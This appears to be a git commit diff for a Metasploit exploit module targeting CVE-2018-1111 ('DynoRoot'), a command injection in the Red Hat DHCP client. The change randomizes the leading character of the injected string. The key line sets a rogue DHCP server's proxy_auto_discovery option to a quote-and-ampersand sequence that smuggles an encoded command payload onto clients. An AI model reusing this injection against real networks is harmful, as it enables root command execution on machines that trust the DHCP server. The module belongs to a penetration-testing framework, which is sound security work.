Randomize the starting letter
parent
1efa5c4061
commit
6d0c6a7051
|
@ -37,13 +37,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['AKA', 'DynoRoot'],
|
||||
['URL', 'https://dynoroot.ninja/'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
|
||||
['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
|
||||
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
|
||||
],
|
||||
'PayloadType': 'cmd',
|
||||
'Payload' =>
|
||||
{
|
||||
# 255 for a domain name, minus some room for encoding
|
||||
'Space' => 200,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||
|
@ -57,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def exploit
|
||||
hash = datastore.copy
|
||||
start_service(hash)
|
||||
@dhcp.set_option(proxy_auto_discovery: "x'&#{payload.encoded} #")
|
||||
@dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(1)}'&#{payload.encoded} #")
|
||||
|
||||
begin
|
||||
while @dhcp.thread.alive?
|
||||
|
|
Loading…
Reference in New Issue